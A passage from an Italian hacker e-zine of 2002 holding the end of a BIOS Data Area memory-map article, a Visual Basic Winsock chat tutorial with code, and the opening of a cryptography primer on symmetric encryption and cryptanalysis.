ora, se volete esercitare il vostro | | intuito, vi mostro un breve catalogo "ufficiale" delle locazioni, per il | | quale non ho crediti da presentare in quanto l'ho scritto io. Le | | locazioni che iniziano per "b" sono lunghe 1 byte, quelle che iniziano | | per "w" sono lunghe 1 word, ovvero 16 bits, ovvero 2 bytes, e infine | | quelle che iniziano per "d" sono delle doublewords, ovvero 32 bits, | | ovvero 4 bytes. | | | | bdta = 00000400h ; Base address of the Bios Data | | ; Area | | w_bios_XBDA_segment = 0Eh+ bdta ; XBDA Segment if no LPT4 present | | w_bios_installedHW = 10h+ bdta ; Installed hardware | | b_bios_POSTflags = 12h+ bdta ; POST control flags (informative) | | w_bios_BaseMemorySize = 13h+ bdta ; Legacy memory size expressed in | | ; Kb. | | w_bios_AdapterMemSize = 15h+ bdta ; Video adapter memory in Kb. | | ; (PC/XT) | | b_bios_KeyClickVolume = 16h+ bdta ; Only for compaq deskpro 386 | | b_bios_KBDLedStatus = 17h+ bdta ; Keyboard status flags (LEDs | | ; control) | | b_bios_KBDCtrStatus = 18h+ bdta ; Second group of keyb. status | | ; lags | | b_bios_KBDAltCode = 19h+ bdta ; Keypad ALT + NNN code | | w_bios_KBDBufferTop = 1Ah+ bdta ; Holds ptr to the next key in | | ; buffer | | w_bios_KBDBufferFree = 1Ch+ bdta ; Holds ptr to first free slot in | | ; bfr | | w_bios_KBDBuffer = 1Eh+ bdta ; Keyboard circular buffer (16 | | ; words) | | b_bios_floppyrecalibrate = 3Eh+ bdta ; Floppy: drive recalibration | | ; status | | b_bios_floppymotor = 3Fh+ bdta ; Floppy: motor status | | b_bios_floppytimeout = 40h+ bdta ; Floppy: timer ticks to motor off | | b_bios_floppystatus = 41h+ bdta ; Floppy: status of last operation | | b_bios_diskctrlbytes = 42h+ bdta ; FD/HD disk activity control | | ; bytes | | b_bios_currentvideomode = 49h+ bdta ; OEM code of current video mode | | w_bios_columnsonscreen = 4Ah+ bdta ; Effective in text modes | | w_bios_regenbuffersize = 4Ch+ bdta ; - - - - | | w_bios_regenstart = 4Eh+ bdta ; - - - - | | w_bios_cursorspos = 50h+ bdta ; - - - - | | w_bios_cursorshape = 60h+ bdta ; - - - - | | b_bios_currentpage = 62h+ bdta ; - - - - | | w_bios_controllerIOaddr = 63h+ bdta ; Normally, 03B4h=mono, 03D4h=color | | b_bios_videomodeselect = 65h+ bdta ; Last value written to #3B8h/3D8h | | b_bios_cgapalettesetting = 66h+ bdta ; Last value written to port #3D9h | | d_bios_resetstartptr = 67h+ bdta ; Pointer to warm reset handler | | d_bios_ticksincemidnite = 6Ch+ bdta ; Updated by INT 08h from the PIC | | b_bios_timeroverflow = 70h+ bdta ; Set to 1 if midnight passed | | b_bios_ctrlbreakflag = 71h+ bdta ; Used to remember a ctrl-break | | ; event | | w_bios_POSTresetflag = 72h+ bdta ; Action to perform upon warm reset | | b_bios_HDstatus = 74h+ bdta ; Last HD operation status | | b_bios_numberofHDs = 75h+ bdta ; Number of Hard Drives | | b_bios_HDcontrolbyte = 76h+ bdta ; HD control byte (XT only) | | b_bios_HDcontrolport = 77h+ bdta ; HD control port address (XT only) | | b_bios_lpt1timeout = 78h+ bdta ; 1st parallel port time-out count. | | b_bios_lpt2timeout = 79h+ bdta ; 2nd parallel port time-out count. | | b_bios_lpt3timeout = 7Ah+ bdta ; 3rd parallel port time-out count. | | b_bios_lpt4timeout = 7Bh+ bdta ; 4th parallel port time-out count. | | b_bios_int4bflags = 7Bh+ bdta ; Status flags for int 4B | | b_bios_com1timeout = 7Ch+ bdta ; 1st serial port time-out count. | | b_bios_com2timeout = 7Dh+ bdta ; 2nd serial port time-out count. | | b_bios_com3timeout = 7Eh+ bdta ; 3rd serial port time-out count. | | b_bios_com4timeout = 7Fh+ bdta ; 4th serial port time-out count. | | w_bios_keybufferstart = 80h+ bdta ; keyboard buffer start (always | | ; 1Eh) | | w_bios_keybufferendp1 = 82h+ bdta ; - - end (always | | ; 3Eh) | | b_bios_rowsonscreenm1 = 84h+ bdta ; text lines on the screen, - 1 | | b_bios_scanlinesperchar = 85h+ bdta ; scan lines for each character | | b_bios_videocontrol = 87h+ bdta ; only for EGA/VGA. zero on CGA. | | b_bios_videoswitches = 88h+ bdta ; video switches for MDA/EGA/VGA. | | b_bios_modesetoptions = 89h+ bdta ; effective on MCGA and VGA. | | b_bios_displayCTBLindex = 8Ah+ bdta ; display comb. table index | | b_bios_diskettemediactrl = 8Bh+ bdta ; diskette media control | | | | Be', forse qualcuno vorra' provare a smanettare un po', ma vi consiglio | | di essere prudenti: e' roba importante, direi che si tratta di "parti | | intime" del PC, senza riferimenti a qualcosa di pornografico... ;) | | Per chi vuol dare un'occhiata alla BDA operante "in diretta", ho incluso | | fra gli attachments di questo capitolo un programmino che si chiama | | AROM, e che mostra appunto quella parte di memoria che corrisponde alla | | BDA. Mentre il programma sta girando, potete osservare numerose reazioni | | del BIOS. Ad esempio, vi accorgete che c'e' una locazione che varia di | | continuo: e' quella chiamata "d_bios_ticksincemidnite", un vero e | | proprio "orologio" il cui valore e' incrementato dall'interrupt 8, | | quella legata ad IRQ zero, quella che viene chiamata 18,2 volte al | | secondo. Provate anche a digitare qualcosa: vedrete alcune locazioni | | animarsi in risposta alla pressione dei tasti, e se avete un minimo | | d'occhio clinico potrete seguire le evoluzioni del buffer circolare | | della tastiera. | | Altro esperimento: provate ad accendere e spegnere i vari LEDs della | | tastiera, il Num Lock (o Bloc Num in italiano), il Caps Lock (CIOE' IL | | TASTO CHE HA QUESTO EFFETTO), lo Scroll Lock (o Bloc Scorr). Osservate | | una delle locazioni delle prime righe reagire all'accensione/spegnimento | | delle tre spie luminose: si tratta dei "keyboard status flags". Questi | | sono davvero divertenti: come diverse altre locazioni della BDA, non | | sono semplici flags, semplici locazioni di memoria, perche' sono | | strettamente connessi all'interrupt di tastiera, che ne analizza le | | variazioni e manda alla tastiera i comandi necessari per riflettere la | | condizione dei flags sulle "reali" lucette. In breve: se fate un | | programma che cambia il valore di quella locazione, precisamente la | | 0040h:0017h, oppure 0000h:0417h, otterrete l'accensione e lo spegnimento | | delle spie, proprio come se qualcuno avesse premuto uno dei tasti | | corrispondenti. Una volta scrissi un programmino che faceva dei | | giochetti luminosi con quelle spie... | | Lo stesso avviene per il time-out del motore del floppy: si puo causare | | l'accensione del motore, come l'accensione/spegnimento rapido, ma questo | | ve lo sconsiglio... e' ovvio che il drive vi si puo rovinare facilmente. | | Ah, e per uscire dal programma "AROM"... premete un pulsante del mouse. | | | | Be', siamo oltre la lunghezza massima dell'articolo gia' da un bel po'. | | Stringere non sarebbe servito a molto: ci sono cose che o spiego nei | | prossimi capitoli, o non spiego per niente, perche' tentare di spiegarle | | in poche righe sarebbe inutile. Non ci si capirebbe nulla. Mi spiace | | anche per la mancanza del promesso esempio di KERNEL, ma vi garantisco | | che l'attesa non sara' vana: nel frattempo, lo rifiniro e lo commentero | | per esteso. Ma non voglio che pensiate comunque di aver letto solo | | spazzatura: uno dei primi compiti di un moderno KERNEL e' controllare lo | | svolgimento di TUTTE le interrupts, figuratevi un po'... e soprattutto, | | se vi avessi spiattellato davanti il sorgente di un KERNEL senza | | spiegare nulla di quel che c'e' sotto, sarebbe stato comunque inutile. | | Non sapete ancora tutto, fra l'altro: sono rimasto molto sul teorico | | appositamente per passare alla pratica la prossima volta. | | D'altronde, "tutto e subito" e' pur sempre un'utopia, no? Intanto, se | | volete un consiglio, esercitate *PARECCHIO* l'assembly dei processori | | Intel. Vi servira' come il pane. | | Abbiate fiducia... vedrete, lo costruiremo, il nostro S.O. personale. | | Ve lo promette uno che ne ha gia' scritti un paio ;)... potete fidarvi. | | | | Alexander The Great | | alex.tg@tiscalinet.it | | www.4t4.org | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [C0DiNG] #05 - 14/01/2002 | | WiNS0CK e ViSUAL BASiC [Screener_it] 0x11/0x23 | +--------------------------------------------------------------------------+ | | | Dopo tanti articoli dedicati alle cazzate più immani che potete trovare | | in internet mi sono finalmente deciso a scrivere qualcosa di serio.. | | Oppure da meno lamer, a voi la scelta !! | | L'argomento che andrò a trattare è cmq molto leggero e semplice da | | comprendere, niente di impegnativo.. | | /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\= | | Ok. Partiamo da ciò che ci serve.. | | 1.-) Visual Basic 5 o successivi | | 2.-) questo testo | | Penso che quasi tutto quelli che leggeranno 'sto testo sanno | | programmare in Visual Basic più o meno. Oppure sono l'unico che usa | | 'sto cazzo di linguaggio ? Cmq se non lo sapete imparatelo, è | | facilissimo e dà risultati interessanti.. | | /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\= | | Come dicevo.. Ormai tutti sanno programmare, qual'è adesso come adesso | | lo scoglio più grande per chi programma ? Passare a programmi che | | sfruttato le potenzialità della rete. Infatti raramente negli help | | troverete voci tipo "Internet" o altro di facilmente collegabile alla | | programmazione di "rete". E al massimo quello che si trova è difficile | | da capire e ci sono degli esempi che servono a poco o a niente. | | Invece è tutto molto semplice (per lo meno le basi) ed io sono riuscito | | a capire le basi in meno di un'ora grazie alle spiegazioni che | | ho trovato. | | Allora.. In Visual Basic per fare programmi che sfruttano le | | potenzialità della rete (chat, finger, demoni, ecc..) abbiamo bisogno | | di un oggetto un po' particolare.. Il Winsock. | | E dove si trova il Winsock ? Aprite il vostro Visual Basic e andate nel | | menù progetto e selezionate componenti. | | Adesso scorrete l'elenco degli oggetti fino a trovare Microsoft Winsock | | Control 5.0 (o versioni successivi.. Fate un po' voi !!). | | Mettete il segno di spunta lì vicino e cliccate Ok. | | Adesso nella barra degli strumenti sarà apparita un icona con due | | computer. Andategli sopra con il mouse e apparirà la magica scritta.. | | "Winsock". E adesso ? | | Adesso bisogna inserirla nella form, no ? Selezionatela, posizionatevi | | nella form e inseritela. | | Ecco, adesso siete pronti per cominciare a programmare in rete. | | Ok, adesso devo aprire una piccola parentesi.. Il Winsock supporta i | | due principali protocolli della rete, cioè il TCP e l' UDP. | | Bhè, non sto qui a spiegarvi l'esatta differenza millesimale tra i due, | | dato che questo non è luogo e capirne la differenza non è essenziale. | | Sappiate solo che i due protocolli sono diversi (se volete informarvi | | cercate qualche testo su tutte le ezine che ci sono in rete..) e che | | per i nostri scopi useremo principalmente il TCP. | | Mh.. Onestamente con il winsock la teoria serve ben a poco e quindi | | passeremo subito alla pratica così vi spieghero' passo a passo.. | | La prima cosa, la più elementare ? Un programma di chat tra due | | persone.. Per poi potersene vantarsene con gli amici. | | | | ________________________________________________ | | ___________ ________ | | | COLLEGATI A: |IP_________| |CONNETTI|__ | | | SULLA PORTA: |PORTA______| |DISCONNETTI| | | | |ASCOLTA_| | | | ___________ | | | STATO DELLA CONNESSIONE: |STATO______| | | | ______________________________ | | | | | | | | |CHAT | | | | | | | | | | | | | | | | | | | |______________________________| | | | ________________ _____ | | | |TESTO___________| |INVIA| | | | | | | ________________________________________________| | | | | Questo è il disegnino della chat, ora però devo dirmi i nomi altrimenti | | il codice che vi dò non vi và. Vi dò solo i nomi importanti, alcune | | label come Collegati a, Porta, ecc.. sono ininfluenti. | | Ip = txtip | | porta = txtporta | | Connetti = cmdconnetti | | Disconnetti = cmddisconnetti | | Ascolta = cmdascolta | | stato = lblstato | | chat = txtchat | | testo = txttesto | | invia = cmdinvia | | Ricordatevi di impostare txtchat su multiline = true e scrollbars = | | 2-Vertical, magari anche locked = True.. | | Logicamente metteteci anche il controllo winsock e dategli come | | name TCP1 | | Ok, adesso vi passo il codice.. | | Private Sub cmdascolta_Click() | | lblstato.Caption = "IN ASCOLTO" | | TCP1.LocalPort = Val(txtporta) | | TCP1.Listen | | End Sub | | Private Sub cmdconnetti_Click() | | If (TCP1.State <> sckClosed) Then TCP1.Close | | TCP1.LocalPort = 0 | | TCP1.Connect txtip, Val(txtporta) | | End Sub | | Private Sub cmdinvia_Click() | | a$ = txttesto | | txtchat = "Inviato:" & a$ & vbCrLf & txtchat | | TCP1.SendData a$ | | End Sub | | Private Sub cmdisconnetti_Click() | | lblstato.Caption = "INATTIVO" | | TCP1.Close | | End Sub | | Private Sub TCP1_Close() | | lblstato.Caption = "INATTIVO" | | TCP1.Close | | End Sub | | Private Sub TCP1_Connect() | | lblstato.Caption = "ATTIVO" | | txtip = TCP1.RemoteHost | | End Sub | | Private Sub TCP1_ConnectionRequest(ByVal requestID As Long) | | If (TCP1.State <> sckClosed) Then TCP1.Close | | TCP1.LocalPort = 0 | | TCP1.Accept requestID | | lblstato.Caption = "ATTIVO" | | txtip = TCP1.RemoteHostIP | | End Sub | | Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) | | Dim Data As String | | On Error Resume Next | | TCP1.GetData Data | | txtchat = "Ricevuto:" & Data & vbCrLf & txtchat | | End Sub | | Ecco qui.. 32 righe in tutto !! Per un chat (seppur molto basilare) | | sono poche.. Per il funzionamento: i computer devono essere due. Uno | | dei due mette un numero qualsiasi nella txt della porta e poi | | clicca "Ascolta". | | L'altro inserisce nella casella txtip l'ip del computer in ascolto e la | | porta su cui è in ascolto e clicca Connetti | | Però sarà meglio che ve le spiego, vero ? Allora.. | | ==================================================================== | | Private Sub cmdascolta_Click() | | lblstato.Caption = "IN ASCOLTO" | | TCP1.LocalPort = Val(txtporta) | | TCP1.Listen | | End Sub | | Cliccando sul tasto "Ascolta" cambia la caption di lblstato. Ma questo | | lo vedete da soli. | | In più cliccando su "Ascolta" il winsock tramite il protocollo TCP | | prende la porta che gli avete indicato in txt porta e poi si pone in | | ascolto su quella. | | TCP1.LocalPort = Val(txtporta) 'sceglie la porta | | TCP1.Listen 'si pone in ascolto | | ==================================================================== | | Private Sub cmdconnetti_Click() | | If (TCP1.State <> sckClosed) Then TCP1.Close | | TCP1.LocalPort = 0 | | TCP1.Connect txtip, Val(txtporta) | | End Sub | | Clicchiamo su Connetti.. Prima controlla che lo stato di TCP1 non si | | chiuso e poi imposta la porta locale a zero. Infine si collega all'ip | | che gli avete indicato in txtip sulla porta che gli avete indicato | | su txtporta | | TCP1.Connect txtip [IP CHE GLI AVETE DATO], Val(txtporta) [PORTA CHE | | GLI AVETE DATO] | | ==================================================================== | | Private Sub cmdinvia_Click() | | a$ = txttesto | | txtchat = "Inviato:" & a$ & vbCrLf & txtchat | | TCP1.SendData a$ | | End Sub | | Mh..Qui analizziamo uno dei comandi più importanti del | | winsock.. SendData | | Per chi sa l'inglese la comprensione è semplicissima !! SendData = | | spedisci dati. | | Tramite questo comando (sintassi: NOMEWINSOCK.SendaData | | OGGETTODASPEDIRE ) spediamo al computer | | con il quale siamo connessi una stringa di caratteri.. | | In questo caso spediamo la variabile a$ a cui attribuiamo il testo | | contenuto nella casella txttesto. | | [ txtchat = "Inviato:" & a$ & vbCrLf & txtchat ] invece indica nella | | casella txtchat deve apparire il contenuto della variabile a$ preceduta | | dalla scritta "Inviato:" (così vediamo quello che abbiamo scritto noi e | | quello che abbiamo ricevuto) e seguita dal precedente contenuto | | di txtchat. | | vbCrLf per chi non lo sapesse è uguale a Invio. | | ==================================================================== | | Private Sub cmdisconnetti_Click() | | lblstato.Caption = "INATTIVO" | | TCP1.Close | | End Sub | | C'è da poco spiegare.. Chiude la connessione tramite il comando close. | | L'altra riga cambia solo il contenuto della casella che indica lo stato | | della connessione. | | ==================================================================== | | Private Sub TCP1_Connect() | | lblstato.Caption = "ATTIVO" | | txtip = TCP1.RemoteHost | | End Sub | | Mh.. Quando la connessione è avvenuta (TCP1_Connect) nella casella | | txtip appare l'ip del computer remoto. | | ==================================================================== | | Private Sub TCP1_ConnectionRequest(ByVal requestID As Long) | | If (TCP1.State <> sckClosed) Then TCP1.Close | | TCP1.LocalPort = 0 | | TCP1.Accept requestID | | lblstato.Caption = "ATTIVO" | | txtip = TCP1.RemoteHostIP | | End Sub | | Già qui è la cosa è più interessante.. Allora.. | | Quando c'è una richiesta di connessione (TCP1_ConnectionRequest) il | | computer si comporta così: | | La prima riga serve a dire che appena la connessione dell'altro | | computer si chiude (TCP1.State <> sckClosed) allora la nostra | | connessione a lui si interrompe. | | La seconda riga setta la porta locale a 0. | | La terza riga dice di accettare la connessione, la terza cambia lo | | stato della label (inutile ai fini della connessione, serve solo a noi | | per vedere meglio se la connessione è attiva o meno) e dice che la | | casella txtip deve assumere come valore l'indirizzo Ip del pc remoto.. | | ==================================================================== | | Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) | | Dim Data As String | | On Error Resume Next | | TCP1.GetData Data | | txtchat = "Ricevuto:" & Data & vbCrLf & txtchat | | End Sub | | Questa è la procedura che il programma segue in caso di arrivo di | | dati (TCP1_DataArrival). | | Dim Data as String definisce i dati che arrivano (che per comodità ho | | chiamato data) come stringhe alfanumeriche. | | On Error Resume Next vuole dire che in caso di errore di trasmissione i | | dati vengono spediti di nuovo. | | TCP1.GetData Data dice che i dati ricevuti ( GetData ) dalla | | connessione prendono il nome di data. | | txtchat = "Ricevuto:" & Data & vbCrLf & txtchat Con questa riga di | | comando i dati ricevuti vengono scritti nella casella txtchat preceduti | | da Ricevuto: e seguiti dal testo già presente nella chat.. E con questo | | ho finito. | | ==================================================================== | | Riepilogo delle principali funzioni di Winsock: | | 1.- Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) | | Indica al programma come comportarsi in caso di arrivo dati. | | 2.- GetData | | Funzione del Winsock che indica al programma di prendere i dati e | | dargli un nome a scelta. | | SINTASSI: nomeconnessione.GetData nomedeidati | | 3.- SendData | | Funzione del Winsock che indica al programma di spedire i dati. | | SINTASSI: nomeconnessione.SendData nomeoggettodaspedire | | 4.- Listen | | Funzione del Winsock che dice al programma di mettersi in ascolto. | | SINTASSI: nomeconnessione.Listen | | IMPORTANTE: deve essere preceduto da LocalPort per impostare su quale | | porta il programma deve mettersi in ascolto | | 5.- LocalPort | | Funzione del Winsock che imposta la porta. | | SINTASSI: nomeconnessione.LocalPort = numeroporta | | 6.- Connect | | Funzione del Winsock molto importante. Tramite questa inizia | | il collegamento. | | SINTASSI: nomeconnessione.Connect ipacuicollegarsi, portaacuicollegarsi | | 7.- Private Sub TCP1_Connect() | | Indica al programma come comportarsi una volta avvenuta la connessione | | 8.- Private Sub TCP1_Close() | | Indica al programma come comportarsi una volta chiusa la connessione | | 9.- Close | | Indica al programma di chiudere la connessione | | SINTASSI: nomeconnessione.Close | | 10.- TCP1.Accept requestID | | Indica al programma di accettare la connessione e l'ID che ci | | viene assegnato. | | 11.- State | | Indica lo stato di connessione del programma, utile negli if. Esempio: | | se lo stato della connessione è sconnesso allora fai x. | | SINTASSI: nomeconnessione.State valorecheassume | | Valore che può assumere State: | | sckClosed Impostazione predefinita. Chiuso | | sckOpen Aperto | | sckListening In attesa | | sckConnectionPending Connessione in sospeso | | sckResolvingHost Risoluzione dell'host in corso | | sckHostResolved Host risolto | | sckConnecting Connessione in corso | | sckConnected Connesso | | sckClosing Il client sta chiudendo la connessione | | sckError Errore | | ==================================================================== | | Questo gente !! Almeno per adesso. La prossima lezione vedremo come | | creare qualche altra applicazione con il Winsock. | | Screener_it | | screener_it@freemail.it | | P.s. Per chi non avesse capito bene come funziona la chat ho allegato i | | sorgenti nel file zip winsock_e_VB.zip scritti in Vb 5.. | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 | | GUiDA ALLA CRiTT0GRAFiA [SonGoten] 0x12/0x23 | +--------------------------------------------------------------------------+ | | | Salve ragazzi! .... sono finalmente arrivato al mio | | terzo articolone!!:D | | Ormai l'esperienza di scrittore inizia a farsi sentire, quindi questo | | articolo, cerchero' di strutturarlo in modo piu' ordinato, seguendo un | | "indice" e creando vari paragrafi.... | | Anche se su questo argomento ho studiato abbastanza e mi sono procurato | | diverso materiale, la cosa non e' per niente facile! :) | | quindi nel caso in cui facessi errori non riempitemi di insulti | | ....grazie :D | | | | Bene.... fatto questo piccolo commento procederei con il solito | | Disclaimer :) | | | | DISCLAIMER: Nota Bene, tutto il contenuto di questa guida deve essere | | usato solo a titolo informativo, in quanto uno sbagliato utilizzo di | | queste informazioni e' da ritenersi dannoso! Quindi il sottoscritto non | | si prende nessuna responsabilita'....Se le cose spiegate qui sotto | | verranno applicate, la persona fara' un'azione illegale e quindi ne | | subira' le relative conseguenze!! :) | | | | Questo articolo, che potrei piu' definirlo una guida, cerchera' | | di toccare tutti(per quanto mi sia possibile) gli argomenti e gli | | aspetti della Crittografia: dalla teoria classica sulla crittografia, | | alla sicurezza nelle reti e persino alla programmazione di un nostro | | Cripter. :) | | Ricordate pero' che anche dopo avere studiato questa quida non sarete | | affatto esperti dell'argomento, ma avrete una buona "infarinatura", per | | iniziare a studiarlo seriamente.... (nelle conclusioni vi lascio | | qualche titolo di libro interessante). | | | | | | -->{Indice}<-- | | | | - Introduzione (Attacchi alla sicurezza, Problematiche e Soluzioni) | | - Crittografia Convenzionale (Basi, Algoritmi, Cifratura a Blocchi..) | | - Crittografia a Chiave Pubblica (intro, fondamenti e algoritmi..) | | - Firma Digitale e informazioni sui principali algoritmi | | - Funzioni Hash (qualche concetto, MD2,MD4,MD5,SHA e SHA-1) | | - Sistemi di Autenticazione (qualche concetto sul Kerberos ecc) | | - Sicurezza della posta elettronica (PGP, S/MIME, ecc) | | - Protocolli generali di Sicurezza su Internet (S-HTTP, SSL, PCT,S/WAN) | | - Commercio Elettronico (IKP, SET, Secure Courier) | | - Difetti e tecniche ;D (Exploit, Keyboard sniffers, TEMPEST, | | Lettura della memoria, Lettura della cache del disco, Packet sniffers, | | Trojan, Password) | | - Approfondiamo il concetto di XOR :) | | - L'algoritmo DES in modo piu' o meno dettagliato... | | - Creazione di un nostro Cripter (sorgente in Turbo Pascal) | | - Conclusioni :) | | | | Questo e' l'indice dell'intera "opera", pero' siccome è molto | | grossa come guida e sono venute un po' troppe pagine, per essere | | pubblicata in un solo numero della e-zine.... ho dovuto dividerla in 3 | | parti. | | Infatti in questo numero saranno trattati solo i primi 3 punti. | | | | - Introduzione (Attacchi alla sicurezza, Problematiche e Soluzioni) | | - Crittografia Convenzionale (Basi, Algoritmi, Cifratura a Blocchi..) | | - Crittografia a Chiave Pubblica (intro, fondamenti e algoritmi..) | | | | ----------------------------------------------------------------------- | | | | -->{Introduzione}<-- | | | | In questi ultimi decenni la sicurezza delle informazioni via Internet | | si e' fatta sempre piu' importante e indispensabile per | | organizzazioni e governi.. | | Il diffondersi del E-Commerce, che consente di comprare prodotti Online, | | ha contribuito ad accelarare l'evoluzione dei sistemi di protezione e | | quindi di Crittografia. | | E' noto infatti come nel caso di E-Commerce (commercio elettronico) ci | | sia una notevole quantita' di informazioni personali e private (num | | carte di credito ecc) che non devono essere lette da nessuno! :) | | Risaputo.. infatti come molti hacker riescono a impadronirsi di | | informazioni riservate e quindi a compiere azioni di spionaggio | | industriale, che potrebbe comportare il fallimento della medesima | | societa'.... o in certi casi la lettura di informazioni riservate | | potrebbe anche danneggiare un singolo utente. | | E' evidente quindi, l'importanza di evitare situazioni del genere! | | A questo proposito molte societa' si sono messe a studiare per cercare | | di risolvere questi problemi..una soluzione e' stata appunto la | | Crittografia delle informazioni riservate. | | Dunque.. Cos'e' la questa Crittografia? Bene.. la crittografia è la | | scienza che crea ed usa i sistemi di crittografia. Un sistema di | | crittografia e' un metodo per rendere illeggibili i messaggi, in modo da | | renderli decodificabili solo dal destinatario prestabilito. | | I sistemi di crittografia sono chiamati anche sistemi di cifratura. | | L' arte di scardinare i sistemi di cifratura e' chiamata crittoanalisi. | | Quindi la scienza che studia la crittografia e la crittoanalisi e' | | chiamata crittologia (dal greco kryptos, che significa "nascosto" e | | logos,che significa "discorso, parola" ). | | Il messaggio originale e' chiamato testo in chiaro, ed il messaggio | | codificato e' detto testo cifrato. | | Quando si codifica un messaggio, si usa una procedura (algoritmo) che lo | | converte in testo cifrato rendendolo cosi incomprensibile. | | Questo procedimento di codifica e' detto cifratura o encryption, mentre | | il processo inverso che consente al destinatario di leggere il messaggio | | e' detto decifratura oppure decryption. | | Prima di entrare nel mondo della Crittografia, vorrei ancora fare un | | esempio: | | Avete credo capito che sono molte ragioni per crittografare i messaggi | | che viaggiano sulla rete. | | Ma siccome questo e' un punto fondamentale preferisco approndirlo. | | Ad esempio, potresti inviare informazioni personali a qualcuno, come per | | esempio il numero della tua carta di credito, e ovviamente vorresti | | evitare che qualcuno (che non sia il destinatario legittimo) possa | | leggere le tue informazioni.. Forse ti starai chiedendo come qualcuno | | possa leggere la tua posta.... semplice, guarda l' area in testo (header | | del email) a qualsiasi messaggio di posta elettronica. | | Bene.. come puoi vedere, quel messaggio e' passato attraverso vari host | | lungo la strada che ha fatto fino a te. | | A questo punto basta considerare che qualsiasi persona che lavora in | | quegli Host puo' leggere i tuoi messaggi!! | | Per non parlare degli Sniffer (di cui parliamo pi— avanti) !! :D | | A questo punto si puo' addirittura dire che la posta tradizionale e' | | piu' sicura di quella elettronica! :D Bene!! adesso che abbiamo capito | | l'importanza della crittografia sulla rete.... | | ..Iniziamo pure con la crittografia! :) | | | | | | -->{Crittografia Convenzionale}<-- | | | | La crittografia tradizionale e' basata su una chiave segreta. | | Un mittente che vuole inviare un messaggio cifrato a qualcuno, lo cifra | | usando una chiave segreta ed il destinatario lo decifra usando la stessa | | chiave segreta. | | Ovviamente, sia il mittente che il destinatario di quel messaggio devono | | essere a conoscenza della stessa chiave segreta. Questo metodo e' detto | | crittografia a chiave segreta o crittografia simmetrica. Il problema | | principale e' che il mittente ed il ricevente devono accordarsi su una | | chiave segreta comune, e devono usare una via sicura per scambiarsi | | questa informazione. | | Potrebbero usare un corriere fidato, il telefono oppure il mittente | | potrebbe cifrare la chiave segreta!! Bene.. ma come puo' il mittente | | cifrare la chiave? | | Il ricevente non potrebbe decifrarla, perche' non conosce la chiave | | stessa!! | | Cosi', si potrebbe usare il sistema telefonico, certo, ma qualcuno | | potrebbe intercettare la telefonata.... Allora si potrebbe usare un | | corriere fidato, certo, ma il corriere potrebbe essere corrotto... | | Per queste ragioni venne inventato un altro sistema di crittografia: il | | sistema a chiave pubblica (chiamato anche sistema crittografico | | asimmetrico).... ma di questo ne parleremo pi— avanti! :) | | Forse potreste trovare esagerate tutte ste preoccupazioni ma.. come si | | dice? "Fidarsi e' bene ma non fidarsi è meglio!! :D".. | | Un sistema di cifratura convenzionale e' costituito da 5 elementi | | principali: Testo in Chiaro, Chiave Segreta, Algoritmo di Cifratura, | | Testo Cifrato, Algoritmo di Decifratura.. Come ben si capisce dalla | | parola stessa il testo in chiaro non e' altro che il documento | | stesso che dovete crittare, mentre il testo cifrato sara' il testo che | | e' stato "mascherato" dalla cifratura.. chi e' dunque che crea questa | | sorta di "maschera" ?? ....appunto e' l'Algoritmo. :) | | L'algoritmo di Cifratura effettua numerose sostituzioni | | e trasformazioni sul testo in chiaro, rendendolo incomprensibile. | | Mentre l'algoritmo di decifratura fara' le stesse operazioni ma in modo | | inverso, facendo cosi' ritornare comprensibile il testo. :) | | Sono quindi due i requisiti per avere un sistema di cifratura | | convenzionale sicuro! | | 1) Utilizzare un algoritmo di cifratura efficente. :) | | 2) Assicurarsi che il mittente e il destinatario del messaggio,si siano | | scambiati le password in modo sicuro.. :) | | | | Vediamo ora un modello semplificato di Cifratura Convenzionale: | | | | .---------. Chiave Segreta Chiave segreta .---------. | | | Testo | |^^^^^^^^^^^| |^^^^^^^^^^^^^| | Testo | | | | | | Algoritmo | T.Cifrato | Algoritmo | | | | | | in |==>>| |--->------>| |==>>| in | | | | | | Cifratura | Trasmesso | Decifratura | | | | | | Chiaro | |___________| |_____________| | Chiaro | | | |_________| |_________| | | Mittente | | Destinatario | | | | Come potete vedere il Mittente critta un messaggio usando un certo | | Algoritmo e una certa chiave segreta.. fatto cio' il messaggio viene | | trasmesso al destinatario che usando lo stesso algoritmo matematico | | e la stessa chiave ritrasforma il testo crittato in testo chiaro... | | semplice vero? :) | | | | I sistemi crittografici sono generalmente classificati in base a tre | | criteri: | | 1) Il tipo di operazione utilizzate per fare diventare il testo in | | chiaro in testo cifrato. | | Tutti gli algoritmi di cifratura si basano su due operazioni | | principali: la sostituzione con cui ogni elemento del testo in chiaro | | viene trasformato in un altro elemento; la seconda operazione e' | | detta transposizione con cui gli elementi del testo in chiaro vengono | | riorganizzati.. | | 2) Il numero di chiavi utilizzate: Se il mittente e il destinatario | | utilizzano le stesse chiavi il sistema e' detto Simmetrico (appunto | | un sistema convenzionale) ...mentre se le chiavi sono differenti si | | parla di un sistema Asimmetrico (a chiave pubblica). | | 3) Il modo in cui il testo in chiaro viene elaborato e trasformato in | | testo cifrato. Esistono infatti un cifrario a blocchi detto anche | | block cipher, che quando gli viene fornito un blocco elabora un | | blocco alla volta, producendo in uscita un blocco per ogni blocco | | ricevuto in ingresso (ma di questo parleremo meglio, dopo). | | Un cifrario a flusso detto anche stream cipher, che elabora uno a uno | | gli elementi dando uno per volta l'uscita (a flusso appunto). | | | | Ma che cos'e' dunque la crittoanalisi?? beh.... semplicemente, come ho | | gia' accennato prima e' la scienza che studia il processo mediante il | | quale e' possibile decifrare un testo cifrato non conoscendo la | | chiave di decifrazione.. | | La situazione piu' difficile sara' appunto il caso in cui l'unico | | elemento conosciuto e' il testo cifrato e non si sa ne la chiave ne | | l'algoritmo. | | Il metodo principale usato dalla crittoanalisi sara' quindi quello di | | fare un Brute Force Attack, che consistera' nel tentare tutte le | | possibili chiavi perpotere decrittare. | | Un elemento fondamentale che ci fa definire un algoritmo, di cifratura, | | sicuro sara' anche la quantità di tempo che serve per renderlo | | inefficace.. quindi il tempo che e' stato stimato per decriptare | 